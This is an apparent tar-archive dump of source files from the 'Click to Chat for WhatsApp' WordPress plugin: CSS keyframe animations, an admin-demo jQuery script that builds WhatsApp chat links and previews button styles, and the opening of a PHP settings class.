/* 
$an_list =[ 'bounce',
'flash',
'pulse',
'heartBeat',
'flip',
];

$an_duration ='1s';
$an_delay ='';
$an_delay ='';
$an_itr ='1';

foreach ($an_list as $an_type) {
    $animations->animations($an_type, $an_duration, $an_delay, $an_itr );

} */

.ht_ctc_animation {
    animation-duration: 1s;
    animation-fill-mode: both;
    animation-delay: '';
    animation-iteration-count: 1;
}

/* bounce */
@keyframes bounce {

    from,
    20%,
    53%,
    to {
        animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
        transform: translate3d(0, 0, 0)
    }

    40%,
    43% {
        animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
        transform: translate3d(0, -30px, 0) scaleY(1.1)
    }

    70% {
        animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
        transform: translate3d(0, -15px, 0) scaleY(1.05)
    }

    80% {
        transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
        transform: translate3d(0, 0, 0) scaleY(0.95)
    }

    90% {
        transform: translate3d(0, -4px, 0) scaleY(1.02)
    }
}

.ht_ctc_an_bounce {
    animation-name: bounce;
    transform-origin: center bottom
}

/* flash */
@keyframes flash {

    from,
    50%,
    to {
        opacity: 1
    }

    25%,
    75% {
        opacity: 0
    }
}

.ht_ctc_an_flash {
    animation-name: flash
}


/* pulse */
@keyframes pulse {
    from {
        transform: scale3d(1, 1, 1)
    }

    50% {
        transform: scale3d(1.05, 1.05, 1.05)
    }

    to {
        transform: scale3d(1, 1, 1)
    }
}

.ht_ctc_an_pulse {
    animation-name: pulse;
    animation-timing-function: ease-in-out
}

/* heartBeat */
@keyframes heartBeat {
    0% {
        transform: scale(1)
    }

    14% {
        transform: scale(1.3)
    }

    28% {
        transform: scale(1)
    }

    42% {
        transform: scale(1.3)
    }

    70% {
        transform: scale(1)
    }
}

.ht_ctc_an_heartBeat {
    animation-name: heartBeat;
    animation-duration: calc(1s * 1.3);
    animation-duration: calc(var(1) * 1.3);
    animation-timing-function: ease-in-out
}

/* flip */
@keyframes flip {
    from {
        transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, -360deg);
        animation-timing-function: ease-out
    }

    40% {
        transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -190deg);
        animation-timing-function: ease-out
    }

    50% {
        transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 150px) rotate3d(0, 1, 0, -170deg);
        animation-timing-function: ease-in
    }

    80% {
        transform: perspective(400px) scale3d(.95, .95, .95) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg);
        animation-timing-function: ease-in
    }

    to {
        transform: perspective(400px) scale3d(1, 1, 1) translate3d(0, 0, 0) rotate3d(0, 1, 0, 0deg);
        animation-timing-function: ease-in
    }
}

.ht_ctc_an_flip {
    backface-visibility: visible;
    animation-name: flip
}click-to-chat-for-whatsapp/new/admin/admin_demo/dev/admin-demo.dev.js000064400000113610147510273110021462 0ustar00/**
 * Admin Demo
 * 
 * @since 3.30
 * 
 */

(function ($) {
    // ready
    $(function () {

        var url = window.location.href;
        var post_title = (typeof document.title !== "undefined") ? document.title : '';
        // is_mobile yes/no,  desktop > 1024 
        var is_mobile = (typeof screen.width !== "undefined" && screen.width > 1024) ? "no" : "yes";

        var demo_var = (window.ht_ctc_admin_demo_var) ? window.ht_ctc_admin_demo_var : {};
        console.log(demo_var);

        var demo_style = '2';

        function display_styles() {

            // var style = $('.chat_select_style').val();
            // $('.ctc_demo_style_' + style + '').show();

            /**
             * pages: ..all ctc page..
             * 
             * click event..
             */
            $('.ctc_demo_style').on('click', function () {
                console.log('click: navigation part..');

                // number
                // maybe need to update as like HT_CTC_Formatting: wa_number. (currently updating from intl_onchange)
                var number = ht_ctc_admin_demo_var.number;

                console.log(number);

                // prefilled message
                var pre_filled = ht_ctc_admin_demo_var.pre_filled;

                // before safari 13.. replaceAll not supports..
                try {
                    var site = (demo_var.site) ? demo_var.site : '';
                    console.log(pre_filled);
                    pre_filled = pre_filled.replaceAll('%', '%25');
                    pre_filled = pre_filled.replaceAll('{site}', site);
                    pre_filled = pre_filled.replaceAll('{url}', url);
                    pre_filled = pre_filled.replaceAll('{title}', post_title);
                    pre_filled = pre_filled.replace(/\[url]/gi, url);
                    console.log(pre_filled);
                    // pre_filled = encodeURIComponent(pre_filled);
                    pre_filled = encodeURIComponent(decodeURI(pre_filled));
                    console.log(pre_filled);
                } catch (e) { }


                // url structure
                // navigation

                // 1.base_url
                var base_url = 'https://wa.me/' + number + '?text=' + pre_filled;

                // 2.url_target - _blank, _self or if popup type just add a name - here popup only
                var url_target = (demo_var.url_target_d) ? demo_var.url_target_d : '_blank';
                var url_structure_d = (demo_var.url_structure_d) ? demo_var.url_structure_d : '';
                var url_structure_m = (demo_var.url_structure_m) ? demo_var.url_structure_m : '';

                if (is_mobile == 'yes') {
                    console.log('-- mobile --');
                    // mobile
                    if ('wa_colon' == url_structure_m) {
                        console.log('-- url struture: whatsapp:// --');
                        // whatsapp://.. is selected.
                        base_url = 'whatsapp://send?phone=' + number + '&text=' + pre_filled;
                        // for whatsapp://.. url open target is _self.
                        url_target = '_self';
                    }
                    // mobile: own url
                    if (demo_var.custom_url_m && '' !== demo_var.custom_url_m) {
                        console.log('custom link');
                        base_url = demo_var.custom_url_m;
                    }

                } else {
                    // desktop
                    console.log('-- desktop --');
                    if ('web' == url_structure_d) {
                        console.log('-- url struture: web whatsapp --');
                        // web whatsapp is enabled/selected.
                        base_url = 'https://web.whatsapp.com/send' + '?phone=' + number + '&text=' + pre_filled;
                    }

                    // desktop: own url
                    if (demo_var.custom_url_d && '' !== demo_var.custom_url_d) {
                        console.log('custom link');
                        base_url = demo_var.custom_url_d;
                    }
                }

                // 3.specs - specs - if popup then add 'pop_window_features' else 'noopener'
                var pop_window_features = 'scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=788,height=514,left=100,top=100';
                var specs = ('popup' == url_target) ? pop_window_features : 'noopener';
                console.log('-- specs: ' + specs + ' --');

                // navigation or display message
                if ('' == number) {
                    // no demo: if number is empty
                    console.log(demo_var.m1);
                    ctc_demo_messages(demo_var.m1);
                    // default_position();
                } else if ('_self' == url_target) {
                    // no demo: if url target is _self
                    console.log(demo_var.m2);
                    ctc_demo_messages(demo_var.m2);
                    // default_position();
                } else {
                    window.open(base_url, url_target, specs);
                }


            });

            /**
             * page: main
             *  call to action
             *  styles
             */
            if ($('body').hasClass('toplevel_page_click-to-chat')) {
                // console.log('toplevel_page_click-to-chat');

                var collapse = '';


                
                // on change - style..
                $('.select_style_item').on('click', function () {
                
                    // styles
                    demo_style = $('.select_style_desktop').val();
                    // demo_style = $(this).attr('data-style');
                    console.log(demo_style);
                    
                    main_page_update();
                });

                // on change - mobile style..
                $('.m_select_style_item').on('click', function () {
                    // console.log('change');

                    // styles
                    demo_style = $('.select_style_mobile').val();
                    console.log(demo_style);
                    
                    main_page_update();
                });

                // on change, input (some filed to update on change only and some on input, ..)
                $('.ctc_ad_main_page_on_change_input').on('change input paste', function () {
                    // console.log('input change');
                    main_page_update();
                });

                $('.ctc_ad_main_page_on_change_input_update_var').on('change input paste', function () {
                    console.log('input change: ctc_ad_main_page_on_change_input_update_var');
                    // main_page_update();
                    console.log($(this).val());

                    demo_var[$(this).attr('data-var')] = $(this).val();
                    console.log(demo_var[$(this).attr('data-var')]);

                    main_page_update();
                });


                // number
                // here this event works. but in general admin-demo.js have to load early then admin.js ..
                document.addEventListener("ht_ctc_admin_event_valid_number", function (e) {
                    console.log('addEventListener: ht_ctc_admin_event_valid_number');
                    console.log(e.detail);
                    console.log(e);

                    main_page_update();
                });
                

                function main_page_update() {

                    // call to action
                    var cta = $('.call_to_action').val();
                    // change call to action values
                    // console.log(cta);
                    $('.ctc_demo_style .ctc_cta').text(cta);

                    

                    // hide all styles
                    $('.ctc_demo_style').hide();
                    // display that style
                    $('.ctc_demo_style_' + demo_style + '').show();

                    
                    if ('close' !== collapse) {
                        // on change - collapse sidebar collapsiable fields
                        try {
                            $('.ht-ctc-admin-sidebar .collapsible').collapsible('close');
                            collapse = 'close';
                        } catch (e) { }
                    }

                    // on click .ht-ctc-admin-sidebar .collapsible - hide demo.
                    $('.ht-ctc-admin-sidebar .collapsible').on('click', function () {
                        console.log('collapsible clicked');
                        $('.ctc_demo_style').hide();
                        hide_bottom_right_descriptions();
                        collapse = 'open';
                    });
                    
                    
                    // description at bottom right.
                    hide_bottom_right_descriptions();
                    $('.ctc_ad_links').show();
                }

                // position on chanage .ctc_demo_position
                $('.ctc_demo_position').on('change input paste', function () {
                    console.log('ctc_demo_position');
                    var position = $(this).val();
                    console.log(position);
                    position_update();
                });
                
                // try catch..
                // $(.ht-ctc-admin-sidebar .collapsible).collapsible({
                //     onOpenEnd() {
                //         console.log(e + ' open');
                //         ctc_setItem('col_' + e, 'open');
                //     },
                //     onCloseEnd() {
                //         console.log(e + ' close');
                //         ctc_setItem('col_' + e, 'close');
                //     }
                // });

                /**
                 * position update. on change.
                 */
                function position_update() {

                    console.log('position_update');

                    var top_bottom = $('.ctc_demo_position').val();
                    console.log(top_bottom);
                    var top_bottom_unset = ('top' == top_bottom) ? 'bottom' : 'top';
                    console.log(top_bottom_unset);

                    var left_right = $('.position_right_left').val();
                    console.log(left_right);
                    var left_right_unset = ('left' == left_right) ? 'right' : 'left';
                    console.log(left_right_unset);

                    var regex = /^\d+$/;
                    var left_right_value = $('.position_right_left_value').val();

                    // if blank add 20px
                    if ('' == left_right_value) {
                        left_right_value = '0px';
                    } else if (regex.test(left_right_value)) {
                        // if is init then add suffix px
                        console.log('integer..');
                        left_right_value = left_right_value + 'px';
                    }
                    console.log(left_right_value);

                    var bottom_top_value = $('.position_bottom_top_value').val();

                    if ('' == bottom_top_value) {
                        bottom_top_value = '0px';
                    } else if (regex.test(bottom_top_value)) {
                        // if is int then add suffix px
                        console.log('integer..');
                        bottom_top_value = bottom_top_value + 'px';
                    }
                    console.log(bottom_top_value);

                    var position_css = {
                        [top_bottom]: bottom_top_value,
                        [left_right]: left_right_value,
                        [top_bottom_unset]: 'unset',
                        [left_right_unset]: 'unset',
                    };

                    $('.ctc_demo_load').css(position_css);

                    update_call_to_action_order();

                    main_page_update();
                    hide_bottom_right_descriptions();

                    // when position is updated. remove menu links at demo. (to not over write the position))  
                    $('.ctc_menu_at_demo .ctc_ad_page_link').remove();


                }

                /**
                 * call to action position..
                 */
                function update_call_to_action_order() {
                    console.log('update_call_to_action_order()');

                    var left_right = $('.position_right_left').val();
                    console.log(left_right);

                    // if left then order 1 else 0

                    // s2
                    if ('left' == left_right) {
                        $('.ctc_s_2 .ctc_cta').css('order', '1');
                        $('.ctc_s_3 .ctc_cta').css('order', '1');
                        $('.ctc_s_3_1 .ctc_cta').css('order', '1');
                        $('.ctc_s_7 .ctc_cta').css('order', '1');

                        // s5
                        $('.ctc_s_5 .s5_content ').css('order', '1');
                        // remove class name right and add left
                        $('.ctc_s_5 .s5_content ').removeClass('right').addClass('left');

                        // s7_1
                        $('.ctc_s_7_1 .ctc_cta').css({ 'order': '1', 'padding-left': '0px', 'padding-right': '21px' });

                    } else {
                        $('.ctc_s_2 .ctc_cta').css('order', '0');
                        $('.ctc_s_3 .ctc_cta').css('order', '0');
                        $('.ctc_s_3_1 .ctc_cta').css('order', '0');
                        $('.ctc_s_7 .ctc_cta').css('order', '0');

                        // s5
                        $('.ctc_s_5 .s5_content').css('order', '0');
                        // remove class name left and add right
                        $('.ctc_s_5 .s5_content ').removeClass('left').addClass('right');

                        $('.ctc_s_7_1 .ctc_cta').css({ 'order':'0', 'padding-left': '21px', 'padding-right': '0px' });
                    }

                }


            }


            /**
             * page: other settings
             *  animations
             *  notification badge
             */
            if ($('body').hasClass('click-to-chat_page_click-to-chat-other-settings')) {
                // console.log('click-to-chat_page_click-to-chat-other-settings');

                
                $('.ctc_ad_page_link').remove();
                $('.ctc_ad_links').css('margin', '0 50px').show();

                // display style by default.
                $('.ctc_demo_style').show();

                var an_class = '';
                var select_an_type = $('.select_an_type').val();

                $('.select_an_type').on("change", function (e) {
                    main_animation();
                });

                // animate demo - link clicked.
                $('.ctc_an_demo_btn').on("click", function (e) {
                    $('.ctc_demo_style').removeClass(an_class);
                    setTimeout(() => {
                        main_animation();
                    }, 100);
                });

                function main_animation() {
                    $('.ctc_demo_style').removeClass(an_class);
                    var val = $('.select_an_type').val();
                    an_class = 'ht_ctc_an_' + val;
                    $('.ctc_demo_style').addClass(an_class);

                    var get_an_delay = $('#an_delay').val();
                    var get_an_itr = $('#an_itr').val();


                    var an_delay = (get_an_delay) ? get_an_delay + 's' : '0';
                    var an_itr = (get_an_itr) ? get_an_itr : '1';


                    var an_css = {
                        'animation-delay': an_delay,
                        'animation-iteration-count': an_itr,
                    }
                    $('.ctc_demo_style.ht_ctc_animation').css(an_css);

                    // animated demo button
                    if ('no-animation' == val) {
                        $('.ctc_an_demo_btn').hide();
                    } else {
                        $('.ctc_an_demo_btn').show();
                    }

                }

                // entry effects
                var ee = '';
                var select_an_type = $('.select_an_type').val();

                $('.show_effect').on("change", function (e) {
                    entry_effects();
                });

                // entry effect demo - link clicked.
                $('.ctc_ee_demo_btn').on("click", function (e) {
                    $('.ctc_demo_style').removeClass(ee);
                    setTimeout(() => {
                        entry_effects();
                    }, 100);
                });

                function entry_effects() {
                    $('.ctc_demo_style').removeClass(an_class);
                    $('.ctc_demo_style').removeClass(ee);

                    var an_css = {
                        'animation-delay': 'unset',
                        'animation-iteration-count': 'unset',
                    }
                    $('.ctc_demo_style.ht_ctc_animation').css(an_css);

                    $('.ctc_demo_style').hide();
                    var val = $('.show_effect').val();

                    if ('From Center' == val) {
                        ee = 'ht_ctc_an_entry_center';
                        $('.ctc_demo_style').addClass(ee);
                        $('.ctc_demo_style').show();
                    } else if ('From Corner' == val) {
                        setTimeout(() => {
                            $('.ctc_demo_style').show(180);
                        }, 100);
                    }

                    // entry effect demo button
                    if ('no-show-effects' == val) {
                        $('.ctc_ee_demo_btn').hide();
                    } else {
                        $('.ctc_ee_demo_btn').show();
                    }
                }


                // notification badge
                var is_nb = '';
                if ($('.notification_badge').is(':checked')) {
                    is_nb = 'yes';

                    var time = $('.field_notification_time').val();
                    console.log(time);
                    time = (time && '' != time) ? time : 0;
                    setTimeout(() => {
                        n_b();
                        n_b_position();
                    }, time * 1000);
                }

                $('.notification_badge').on("change", function (e) {
                    n_b();
                    n_b_position();
                    n_b_border();
                });

                $('.notification_border_color_field .wp-picker-container').on("click", function (e) {
                    console.log('notification_border_color_field');
                    n_b_border();
                });

                function n_b() {
                    console.log('on change n_b');
                    // display notification badge
                    if ($('.notification_badge').is(':checked')) {
                        is_nb = 'yes';
                        $('.ctc_ad_notification').show();

                        var bg_color = $('.field_notification_bg_color').val();
                        console.log(bg_color);
                        $('.ctc_ad_badge').css('background-color', bg_color);

                        var text_color = $('.field_notification_text_color').val();
                        // console.log(text_color);
                        $('.ctc_ad_badge').css('color', text_color);
                    } else {
                        is_nb = 'no';
                        $('.ctc_ad_notification').hide();
                    }
                }

                function n_b_border() {
                    var border_color = $('.field_notification_border_color').val();
                    // console.log(border_color);
                    if ('' !== border_color) {
                        border = '2px solid ' + border_color;
                    } else {
                        border = 'none';
                    }
                    $('.ctc_ad_badge').css('border', border);
                }

                // notification badge position specific to each style
                function n_b_position() {
                    console.log('n_b_position');
                    if (document.querySelector('.ctc_nb')) {
                        console.log('overwrite top, right');
                        // get parent of badge and then get top, right with in that element. (to avoid conflict with other styles if added using shortcode or so...)
                        var main = $('.ctc_ad_badge').closest('.ctc_demo_style');

                        $('.ctc_ad_badge').css({
                            // overwrite top, right. if undefined or false then use default(as it can't overwrite at broswer).
                            "top": $(main).find('.ctc_nb').attr('data-nb_top'),
                            "right": $(main).find('.ctc_nb').attr('data-nb_right')
                        });
                    }
                }


                // notification_bg_color   field_notification_bg_color
                // mousemove, change, input, keyup
                $(document).on('change, input, keyup', '.field_notification_bg_color, .field_notification_text_color, .field_notification_border_color', function () {
                    console.log('color value changed..');
                    n_b();
                });

                // on change color picker: handle by color picker on change

                // notification count
                $('.field_notification_count').on('change', function () {
                    var count = $(this).val();
                    $('.ctc_ad_badge').text(count);
                });

                // time delay
                var timeoutId;
                $('.field_notification_time').on('change', function () {
                    $('.ctc_ad_notification').hide();
                    clearTimeout(timeoutId);
                    var time = $(this).val();
                    time = (time && '' != time) ? time : 0;
                    timeoutId = setTimeout(() => {
                        if ('yes' == is_nb) {
                            console.log(time);
                            $('.ctc_ad_notification').show();
                        }
                    }, time * 1000);
                });

            }

            /**
             * page: customize styles
             */
            if ($('body').hasClass('click-to-chat_page_click-to-chat-customize-styles')) {
                console.log('customize styles');

                $('.ctc_ad_page_link').remove();
                $('.ctc_ad_links').css('margin', '0 50px');

                // display style based on editing area (work super. expect one issue - if directly clicked on color picker the style is not changing/displaying. fix: wp-picker-container click event added below)
                $('.ht_ctc_customize_style').on('click', function () {
                    // console.log('customize_style clicked');
                    // get data-style='1' from clicked element
                    var style = $(this).attr('data-style');
                    // console.log(style);
                    $('.ctc_demo_style_' + style + '').show();
                    $('.ctc_demo_style').not('.ctc_demo_style_' + style + '').hide();
                    $('.ctc_ad_links').show();
                });

                // click on wp-picker-container - find closest ht_ctc_customize_style and display that style
                $('.wp-picker-container').on('click', function () {
                    var x = $(this).closest('.ht_ctc_customize_style');
                    var style = $(x).attr('data-style');
                    if (style) {
                        $('.ctc_demo_style_' + style + '').show();
                        $('.ctc_demo_style').not('.ctc_demo_style_' + style + '').hide();
                    }
                });


                // on hover..

                // // s7_1:hover
                // $('.ctc_s_7_1').hover(function () {
                //     console.log('hover');
                // }, function () {
                //     console.log('hover out');
                // });

                // s3_1:hover
                $('.ctc_s_3_1').hover(function () {
                    console.log('hover');
                    console.log($('#s3_1_bg_color_hover').val());
                    $('.ctc_s_3_1 .ht_ctc_padding').css('background-color', $('#s3_1_bg_color_hover').val());
                    // s3_box_shadow_hover
                    if (!$('#s3_box_shadow').is(':checked') && $('#s3_box_shadow_hover').is(':checked')) {
                        console.log('hover only checked');
                        $('.ctc_s_3_1 .ht_ctc_padding').css('box-shadow', '0px 0px 11px rgba(0,0,0,.5)');
                    }
                }, function () {
                    console.log('hover out');
                    console.log($('#s3_1_bg_color').val());
                    $('.ctc_s_3_1 .ht_ctc_padding').css('background-color', $('#s3_1_bg_color').val());

                    if (!$('#s3_box_shadow').is(':checked') && $('#s3_box_shadow_hover').is(':checked')) {
                        console.log('hover only checked');
                        $('.ctc_s_3_1 .ht_ctc_padding').css('box-shadow', 'unset');
                    }
                });

                // s3_1: shadow (not ok at admin demo. so commented)
                $('#s3_box_shadow').on('change', function (e) {
                    console.log('s3_box_shadow');
                    if ($('#s3_box_shadow').is(':checked')) {
                        console.log('checked');
                        // $(".s3_box_shadow_hover").hide(400);
                        $('.ctc_s_3_1 .ht_ctc_padding').css('box-shadow', '0px 0px 11px rgba(0,0,0,.5)');
                    } else {
                        console.log('unchecked');
                        $('.ctc_s_3_1 .ht_ctc_padding').css('box-shadow', 'unset');
                        // $(".s3_box_shadow_hover").show(500);
                    }
                });

                // s4: image position
                $('.s4_img_position').on('change', function (e) {
                    console.log('s4_image_position');
                    // if slelected left
                    var s4_img_position = $(this).val();
                    console.log(s4_img_position);
                    if ('left' == s4_img_position) {
                        $('.ctc_s_4 .s4_img').css('margin', '0 8px 0 -12px');
                        $('.ctc_s_4 .s4_img').css('order', '0');
                    } else if ('right' == s4_img_position) {
                        $('.ctc_s_4 .s4_img').css('margin', '0 -12px 0 8px');
                        $('.ctc_s_4 .s4_img').css('order', '1');
                    }
                });


                // s6:hover
               
                $('.ctc_s_6').hover(function () {
                    console.log('hover');
                    console.log($('#s6_txt_color_on_hover').val());
                    console.log($('#s6_txt_decoration_on_hover').val());

                    $('.ctc_s_6').css({
                        'color': $('#s6_txt_color_on_hover').val(),
                        'text-decoration': $('#s6_txt_decoration_on_hover').find(":selected").val()
                    });
                }, function () {
                    console.log('hover out');
                    $('.ctc_s_6').css({
                        'color': $('#s6_txt_color').val(),
                        'text-decoration': $('#s6_txt_decoration').find(":selected").val()
                    });
                });


                // s7:hover
                $('.ctc_s_7').hover(function () {
                    console.log('hover');
                    console.log($('#s7_icon_color_hover').val());
                    console.log($('#s7_bgcolor_hover').val());

                    $('.ctc_s_7 svg path').css('fill', $('#s7_icon_color_hover').val());
                    $('.ctc_s_7 .ctc_s_7_icon_padding').css('background-color', $('#s7_border_color_hover').val());
                }, function () {
                    console.log('hover out');
                    $('.ctc_s_7 svg path').css('fill', $('#s7_icon_color').val());
                    $('.ctc_s_7 .ctc_s_7_icon_padding').css('background-color', $('#s7_border_color').val());
                });


                // s7_1:hover
                $('.ctc_s_7_1').hover(function () {
                    console.log('hover');
                    console.log($('#s7_1_icon_color_hover').val());
                    console.log($('#s7_1_bgcolor_hover').val());

                    // 
                    $('.ctc_s_7_1 svg path').css('fill', $('#s7_1_icon_color_hover').val());
                    $('.ctc_s_7_1 .ctc_s_7_1_cta').css('color', $('#s7_1_icon_color_hover').val());
                    $('.ctc_s_7_1').css('background-color', $('#s7_1_bgcolor_hover').val());
                    $('.ctc_s_7_1 .ctc_s_7_icon_padding').css('background-color', $('#s7_1_bgcolor_hover').val());
                }, function () {
                    console.log('hover out');
                    console.log($('#s7_1_icon_color').val());
                    console.log($('#s7_1_bgcolor').val());
                    $('.ctc_s_7_1 svg path').css('fill', $('#s7_1_icon_color').val());
                    $('.ctc_s_7_1 .ctc_s_7_1_cta').css('color', $('#s7_1_icon_color').val());
                    $('.ctc_s_7_1').css('background-color', $('#s7_1_bgcolor').val());
                    $('.ctc_s_7_1 .ctc_s_7_icon_padding').css('background-color', $('#s7_1_bgcolor').val());
                });



                // s8:hover
                $('.ctc_s_8').hover(function () {
                    console.log('hover');
                    console.log($('#s8_bg_color_on_hover').val());
                    console.log($('#s8_txt_color').val());

                    $('.ctc_s_8 .s_8').css({
                        "background-color": $('#s8_bg_color_on_hover').val(),
                    });
                    $('.ctc_s_8 .s8_span').css('color', $('#s8_txt_color_on_hover').val());
                    $('.ctc_s_8 svg path').css('fill', $('#s8_icon_color_on_hover').val());
                }, function () {
                    console.log('hover out');
                    console.log($('#s8_bg_color').val());
                    console.log($('#s8_txt_color_on_hover').val());

                    $('.ctc_s_8 .s_8').css({
                        "background-color": $('#s8_bg_color').val(),
                    });
                    $('.ctc_s_8 .s8_span').css('color', $('#s8_txt_color').val());
                    $('.ctc_s_8 svg path').css('fill', $('#s8_icon_color').val());
                });



                /**
                 * on chnage, 
                 */
                $(".ctc_oninput").on("change paste keyup", function (e) {
                    console.log('on change');

                    // check if element have data-update attribute
                    var update_type = $(this).attr('data-update-type'); // height, ..
                    console.log(update_type);

                    hide_bottom_right_descriptions();

                    var update_value = $(this).val(); // the value to update
                    console.log(update_value);

                    var update_class = $(this).attr('data-update-selector'); // the field to update
                    console.log(update_class);

                    if (update_type && update_class) {
                        console.log('update');
                        
                        if ('text' == update_type) {
                            // if update type is text
                            console.log('update text');
                            $(update_class).text(update_value);
                        } else if ('cta' == update_type) {
                            // call to action
                            console.log('update cta');

                            // parent with class name: ctc_demo_style 
                            var update_class_parent = $(update_class).closest('.ctc_demo_style');
                            console.log(update_class_parent);

                            if ('show' == update_value) {
                                // if update_value is show
                                console.log('show');
                                $(update_class).show();
                                $(update_class).removeClass('ht-ctc-cta-hover');
                                $(update_class_parent).removeAttr('title');
                            } else if ('hide' == update_value) {
                                // hide
                                console.log('hide');
                                $(update_class).hide();
                                $(update_class).removeClass('ht-ctc-cta-hover');
                                $(update_class_parent).attr('title', 'Call to action');
                            } else if ('hover' == update_value) {
                                // hover: add class: ht-ctc-cta-hover
                                console.log('hover');
                                $(update_class).hide();
                                $(update_class).addClass('ht-ctc-cta-hover');
                                $(update_class_parent).removeAttr('title');
                            }
                        } else {
                            $(update_class).css(update_type, update_value);

                            // if data-update-type-2
                            var update_type_2 = $(this).attr('data-update-type-2'); // height, ..
                            console.log(update_type_2);

                            if (update_type_2) {
                                console.log('update 2');
                                $(update_class).css(update_type_2, update_value);
                            }
                        }

                    }

                });


                
            }


            /**
             * no live demo
             */
            var no_demo_timeoutId;
            $(".ctc_no_demo").on("change paste keyup", function (e) {
                console.log('no live demo for this...');

                hide_bottom_right_descriptions();

                clearTimeout(no_demo_timeoutId);

                // ctc_no_demo_notice
                $('.ctc_no_demo_notice').hide().fadeIn(500);

                // auto hide after 5 sec
                no_demo_timeoutId = setTimeout(() => {
                    $('.ctc_no_demo_notice').hide(120);
                }, 5000);

            });


            

            // ctc_demo_messages
            function ctc_demo_messages(m = '') {
                
                var demo_notice_timeoutId;

                console.log('ctc_demo_messages...');
                console.log(m);

                clearTimeout(demo_notice_timeoutId);

                $('.ctc_ad_links').hide();
                $('.ctc_demo_messages').html(m);

                // ctc_demo_messages
                $('.ctc_demo_messages').hide().fadeIn(500);

                demo_notice_timeoutId = setTimeout(() => {
                    $('.ctc_demo_messages').hide(120);
                        $('.ctc_ad_links').show(120);
                }, 9000);
            }

            /**
             * hide notifications at bottom right. to avoid duplicate notifications.
             *  use to hide other notifications before display one.
             */
            function hide_bottom_right_descriptions() {
                $('.ctc_demo_messages').hide();
                $('.ctc_ad_links').hide();
                $('.ctc_no_demo_notice').hide();
            }

            // function default_position() {
            //     console.log('default_position');
            //     // default position
            //     $('.ctc_demo_load').css({
            //         "top": "unset",
            //         "left": "unset",
            //         "bottom": "50px",
            //         "right": "50px"
            //     });
            // }


            // cta hover effects (todo:l only that style..)
            $(".ctc_demo_style").hover(function () {
                $('.ctc_demo_style .ht-ctc-cta-hover').show(120);
            }, function () {
                $('.ctc_demo_style .ht-ctc-cta-hover').hide(100);
            });

            function showHideDemo() {
                const showDemoButton = $('.ctc_ad_show_demo');
                const hideDemoButton = $('.ctc_ad_hide_demo');
                const demoLoadSection = $('.ctc_demo_load');
                const pageLinks = $('.ctc_ad_page_link');

                // Show Demo functionality
                showDemoButton.on('click', function () {
                    console.log('Show demo');
                    demoLoadSection.show();
                    showDemoButton.hide();
                    hideDemoButton.show();
                    pageLinks.show();
                });

                // Hide Demo functionality
                hideDemoButton.on('click', function () {
                    console.log('Hide demo');
                    demoLoadSection.hide();
                    hideDemoButton.hide();
                    showDemoButton.show();
                    pageLinks.hide();
                });
            }
            showHideDemo();


        }
        display_styles();



    });
})(jQuery);click-to-chat-for-whatsapp/new/admin/admin_demo/admin-demo-animations.css000064400000004227147510273110022446 0ustar00.ht_ctc_entry_animation{animation-duration:center;animation-fill-mode:both;animation-delay:0;animation-iteration-count:1}@keyframes center{from{transform:scale(0)}to{transform:scale(1)}}.ht_ctc_an_entry_center{animation:center .25s}.ht_ctc_animation{animation-duration:1s;animation-fill-mode:both;animation-iteration-count:1}@keyframes bounce{from,20%,53%,to{animation-timing-function:cubic-bezier(0.215,0.61,0.355,1);transform:translate3d(0,0,0)}40%,43%{animation-timing-function:cubic-bezier(0.755,0.05,0.855,0.06);transform:translate3d(0,-30px,0) scaleY(1.1)}70%{animation-timing-function:cubic-bezier(0.755,0.05,0.855,0.06);transform:translate3d(0,-15px,0) scaleY(1.05)}80%{transition-timing-function:cubic-bezier(0.215,0.61,0.355,1);transform:translate3d(0,0,0) scaleY(0.95)}90%{transform:translate3d(0,-4px,0) scaleY(1.02)}}.ht_ctc_an_bounce{animation-name:bounce;transform-origin:center bottom}@keyframes flash{from,50%,to{opacity:1}25%,75%{opacity:0}}.ht_ctc_an_flash{animation-name:flash}@keyframes pulse{from{transform:scale3d(1,1,1)}50%{transform:scale3d(1.05,1.05,1.05)}to{transform:scale3d(1,1,1)}}.ht_ctc_an_pulse{animation-name:pulse;animation-timing-function:ease-in-out}@keyframes heartBeat{0%{transform:scale(1)}14%{transform:scale(1.3)}28%{transform:scale(1)}42%{transform:scale(1.3)}70%{transform:scale(1)}}.ht_ctc_an_heartBeat{animation-name:heartBeat;animation-duration:calc(1s * 1.3);animation-duration:calc(var(1) * 1.3);animation-timing-function:ease-in-out}@keyframes flip{from{transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,-360deg);animation-timing-function:ease-out}40%{transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);animation-timing-function:ease-out}50%{transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);animation-timing-function:ease-in}80%{transform:perspective(400px) scale3d(.95,.95,.95) translate3d(0,0,0) rotate3d(0,1,0,0deg);animation-timing-function:ease-in}to{transform:perspective(400px) scale3d(1,1,1) translate3d(0,0,0) rotate3d(0,1,0,0deg);animation-timing-function:ease-in}}.ht_ctc_an_flip{backface-visibility:visible;animation-name:flip}click-to-chat-for-whatsapp/new/admin/admin_demo/admin-demo.css000064400000000335147510273110020302 0ustar00.ctc_run_demo_btn{cursor:pointer;width:fit-content;border-bottom:1px solid #ddd}.ctc_ad_show_hide_demo{cursor:pointer}@media only screen and (max-width: 1200px){.ctc_ad_page_link,.ctc_run_demo_btn{display:none!important}}click-to-chat-for-whatsapp/new/admin/class-ht-ctc-admin-other-settings.php000064400000213537147510273110022535 0ustar00<?php
/**
 * Other settings page - admin 
 * 
 * this main settings page contains .. 
 * 
 *  Analytics, .. 
 * 
 * @package ctc
 * @subpackage admin
 * @since 3.0 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Other_Settings' ) ) :

class HT_CTC_Admin_Other_Settings {

    public function menu() {

        add_submenu_page(
            'click-to-chat',
            'Other-Settings',
            'Other Settings',
            'manage_options',
